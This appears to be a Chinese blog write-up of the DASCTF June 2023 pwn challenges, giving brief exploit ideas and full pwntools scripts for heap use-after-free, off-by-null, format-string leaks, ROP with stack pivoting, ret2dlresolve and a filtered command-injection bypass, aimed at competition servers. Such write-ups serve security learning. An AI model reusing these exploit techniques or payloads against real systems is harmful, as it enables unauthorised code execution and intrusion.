DASCTF 2023六月挑战赛|二进制专项 pwn

easynote

2.23版本的uaf,用realloc调一下栈帧。

exp

from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc


def add(size,content):
    r.sendlineafter("5. exit",'1')
    r.sendlineafter("The length of your content --->",str(size))
    r.sendafter("Content --->",content)

def edit(idx,size,content):
    r.sendlineafter("5. exit",'2')
    r.sendlineafter("Index --->",str(idx))
    r.sendlineafter("The length of your content --->",str(size))
    r.sendafter("Content --->",content)
def delete(idx):
    r.sendlineafter("5. exit",'3')
    r.sendlineafter("Index --->",str(idx))
def show(idx):
    r.sendlineafter("5. exit",'4')
    r.sendlineafter("Index --->",str(idx))

add(0x200,'a')#0
add(0x60,'a')#1
add(0x20,'a')#2
delete(0)
add(0x40,'a')#0
show(0)
libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x200-0x61+0x78-0x10-88-libc.sym['__malloc_hook']
print("libc_base---------->",hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x23
system=libc_base+libc.sym['system']
realloc=libc_base+libc.sym["realloc"]+6
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=one_gadget[1]+libc_base
delete(1)
edit(1,0x40,p64(malloc_hook))
add(0x200-0x50,'a')#1
add(0x60,'a')#3
add(0x60,b'a'*(0x13-8)+p64(ogg)+p64(realloc))#4
r.sendlineafter("5. exit",'1')
r.sendlineafter("The length of your content --->",str(50))
# gdb.attach(r)
r.interactive()

fooooood

这个题非预期可以直接循环打印远程栈上的环境变量,从而爆破出flag

exp

from pwn import *
context.log_level='debug'
r=process('./pwn')
# r=remote('node4.buuoj.cn',28134)
elf=ELF('./pwn')


for i in range(1,100):
    try:
        # r=process('./pwn')
        r=remote('node4.buuoj.cn',28134)
        elf=ELF('./pwn')
        r.sendlineafter("Give me your name:",'s')
        for j in range(3):
            r.recvuntil("food: ")   
            r.sendline('%'+str(10+3*i+j)+'$s.')
            print(i,r.recvuntil(b'.',drop=True))
    except EOFError:
        pass

 server

首先需要通过认证,这里需要判断对应的key文件是否存在,我们可以通过输入很多/来绕过。

接着有一个任意命令执行 ,过滤掉了一些字符,不过我们仍然可以通过cat flag来获取;由于过滤了空格,所以我们可以用 \t 代替,由于有长度限制,我们需要使用通配符,最终执行'\ncat\tfl*\n。

exp

from pwn import *
context.log_level='debug'
r=process('./pwn_7')
r=remote('node4.buuoj.cn',28338)
elf=ELF('./pwn_7')


r.recvuntil('>>')
r.sendline('1')
# gdb.attach(r)
r.recvuntil('Please input the key of admin : ')
r.sendline("../"+"/"*0xf+"///flag")

r.recvuntil('>>')
r.sendline('2')

r.recvuntil(':')
r.send('12cat\tfl*\n')

r.recvuntil('>>')
r.sendline('2')

r.recvuntil(':')
r.send("'\n")
r.interactive()

 can_you_find_me

程序只有add,delete操作,在add的pushinfo中存在off by null漏洞

 add限制堆块最大0x800,最多申请16次,所以采用填满tcache不可取,因为堆块不够用,需要直接申请大于0x410的堆块。而本题没有show函数,所以需要打stdout结构体泄露libc,需要爆破1字节。

exp

from pwn import *
context.log_level='debug'
r=remote('node4.buuoj.cn',25072)
# r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc

def add(size,content):
    r.sendlineafter("choice:",'1')
    r.sendlineafter("Size:",str(size))
    r.sendlineafter("Data:",content)


def delete(idx):
    r.sendlineafter("choice:",'2')
    r.sendlineafter("Index:",str(idx))

add(0x6f8,"0")#0
add(0x3f8,"1")#1
add(0x2f8,'2')#2
add(0x7f8,'3')#3

add(0x20,'/bin/sh\x00')#4
delete(0)
delete(2)
add(0x2f8,b'a'*0x2f0+p64(0x700++0x300+0x400))#5 0 2
delete(3)
delete(1)

add(0x6f8,'0')#5
add(0x20,'\x60\xe7')#6
add(0x3f8,'0')#7
payload=p64(0xfbad1887)+p64(0)*3+b'\x88'

add(0x3f8,payload)#8
print("----------------------214124124124124-------------421412-412----------")
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['_IO_2_1_stdout_']-131
print("libc_base----------->",hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=libc_base+one_gadget[1]
delete(0)
payload=b'c'*0x3c8+p64(0x300)+p64(free_hook)
add(0x400,payload)

add(0x2f8,'a')
add(0x2f8,p64(ogg))
delete(4)
# gdb.attach(r)
r.interactive()

 matchmaking platform

 漏洞点位于sub_12b7函数,char v3的范围是-128-->127,本题执行else分支可以是v3加到128,从而溢出变成-80,对偏移为-80的位置进行操作。可进行两次。

思路:首先劫持bss上的stdout结构体,修改stdout泄露libc,然后利用ret2dlresolve即可。

exp

from pwn import *
context.log_level='debug'

def pwn():
    r.sendafter("Age >> ",'a'*0x80+'\x80')
    r.sendlineafter("Photo(URL) >> ",p64(0xfbad1887)+p64(0)*3+b'\xb0\x5d')
    pie_base = u64(r.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
    if (pie_base & 0xfff) != 0 :
        exit(-1)
    payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
    # gdb.attach(r)
    r.sendafter("Name >> ",payload.ljust(0x80,b'\x00')+b'\x08')
    print("pie_base--------->",hex(pie_base))
    payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140)
    r.sendlineafter("Hobby >> ", payload)

    r.interactive()
if __name__ == '__main__':
    while True:
        global r
        try :
            r = process("./pwn")
            pwn()
            break
        except :
            r.close()

A dream

 

 

 在父线程中存在栈溢出,子线程不断调用write。

且父线程开启沙箱。

思路一:利用栈溢出进行迁移,修改write的got表为栈溢出位置的read,然后使父线程sleep进入子线程进行rop,因为父线程开启的沙箱并不会影响到子线程。

思路二:利用栈溢出进行迁移,泄露libc,再利用environ环境变量泄露栈,由于远程的flag存放在栈中,所以可以加偏移循环爆破flag。

这里给出思路二的exp:

exp

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# r=process("./pwn_9")
r=remote('node4.buuoj.cn',29981)
elf=ELF("./pwn_9")
libc=ELF('./libc6_2.31-0ubuntu9.7_amd64.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404080 + 0x100
magic_read = 0x4013AE
r.recvuntil('winmt has a dream')

payload1 = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
r.send(payload1)
sleep(0.1)
# gdb.attach(r)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
pop_rbp=0x000000000040123d
leave_ret = 0x40136c
payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100) + p64(magic_read)
payload2 = payload2.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
r.send(payload2)
sleep(0.1)
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print("libc_base----------->",hex(libc_base))
environ=libc_base+libc.sym['environ']


payload3=p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100) + p64(magic_read)
payload3 = payload3.ljust(0x40, b'\x00') + p64(bss+0x100-0x40-8) + p64(leave_ret)
r.send(payload3)
sleep(0.1)
stack=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack------>',hex(stack))

payload4=p64(pop_rdi_ret) + p64(stack+8) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100*2) + p64(magic_read)
payload4 = payload4.ljust(0x40, b'\x00') + p64(bss+0x100+0x100-0x40-8) + p64(leave_ret)
r.send(payload4)
sleep(0.1)
stack1=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack1------>',hex(stack1))
# pause()
for i in range(2,50,1):
    payload5=p64(pop_rdi_ret) + p64(stack1-1+8*(i+39)) + p64(puts_plt) + p64(pop_rbp) + p64(bss+0x100+0x100*(i+1)) + p64(magic_read)
    payload5 = payload5.ljust(0x40, b'\x00') + p64(bss+0x100+0x100*i-0x40-8) + p64(leave_ret)
    r.send(payload5)
    # sleep(0.1)

r.interactive()

 

noka 

本题libc是2.35。

 只有add和show操作,还有一个任意地址读写的后门。这些操作一共可以使用11次。

思路:1.将malloc的got表换成cin实现任意读写

           2.利用stdout泄露libc地址

           3.利用environ环境变量获得栈地址,覆盖libc_start_main为rop执行getshell。

exp

from pwn import *
context.log_level='debug'
r=process('./noka')
elf=ELF('./noka')
libc=ELF('./libc.so.6')

malloc_got=0x404030
cin_int=0x401254
ptr_addr=0x4040b0
def add(size,content):  
    r.sendlineafter('>','1')
    r.sendlineafter("size: ",str(size))
    r.sendafter("text: ",content)

def show():  
    r.sendlineafter('>','2')

def backdoor(point,value):  
    r.sendlineafter('>','3')
    r.sendlineafter("Break Point: ",str(point))
    r.sendlineafter("Break Value: ",str(value))

def gint(size,addr,content):
    r.sendlineafter('>','1')
    r.sendlineafter("size: ",str(size))
    r.send(addr)
    r.sendafter("text: ",content)


backdoor(malloc_got,cin_int)#1
gint(10,str(0x04040A0),"a")#2
show()#3
libc_base=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['stderr']-0x1+0x200
print("libc_base-------->",hex(libc_base))

environ=libc_base+libc.sym['environ']
print("environ------->",hex(environ))

gint(10,str(ptr_addr),p64(environ))#4
show()#5
stack=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('stack----------->',hex(stack))
libc_start_main=stack-(0x7fff13361bc8-0x7fff13361aa8)
print("libc_start_main------>",hex(libc_start_main))

num_addr=0x404060

gint(10,str(num_addr),'a')#6

system=libc_base+libc.sym['system']
pop_rdi=libc_base+0x000000000002a3e5
pop_rdi_rbp=libc_base+0x000000000002a745
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))


backdoor(str(libc_start_main),str(pop_rdi_rbp))#7
gint(10,str(num_addr),'a')#8
backdoor(str(libc_start_main+8),str(binsh))#9
gint(10,str(num_addr),'a')#10
gdb.attach(r)
backdoor(str(libc_start_main+0x18),str(system))#11

# gdb.attach(r)

r.interactive()

 

Approoooooooaching

2.35版本

vmpwn,case1申请堆块,case2写堆块,case3就是对写入堆块的字符进行逐个解析,解析成1、2、3等数字,不过后边的解析成数字之后还有一些其他的命令,也没试,做的时候也没用上。case4就是匹配数字并执行对应的命令。

刚开始先试了这个case6的gatchar看看读到了栈上的哪个位置,测试发现直接getchar是返回地址的下一个字节,然后又从程序中发现了system函数,直接搜索/bin/sh定位到

于是就想到可以用case2的--v3使得读取字符时向上覆盖到返回地址,然后又看到原本返回地址与后门函数地址只差了最后一个字节,因此就比较清晰了,先通过--v3,然后getchar改返回地址,退出时即执行后门函数。不过这里有一点,getchar第一次输入不进去字符,读取的一直是'\n',索性读两次,把第一次覆盖了就行。

exp

from pwn import *
context.log_level='debug'
r=remote('139.155.140.235',9999)
# r=process('./bf')
elf=ELF('./bf')
libc=elf.libc


def add(size):
    r.sendlineafter("Give me your choice: ",'1')
    r.sendlineafter("size: ",str(size))

def cin(content):
    r.sendlineafter("Give me your choice: ",'2')
    r.sendlineafter("text: ",content)

def makecode():
    r.sendlineafter("Give me your choice: ",'3')

def usecode():
    r.sendlineafter("Give me your choice: ",'4')

add(0x800)
cin('iiiiyy\x00')
makecode()
# gdb.attach(r)
usecode()
r.sendline('\xe0')
r.interactive()

可以发现,经过两次修改,返回地址成功覆盖成后门函数

 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值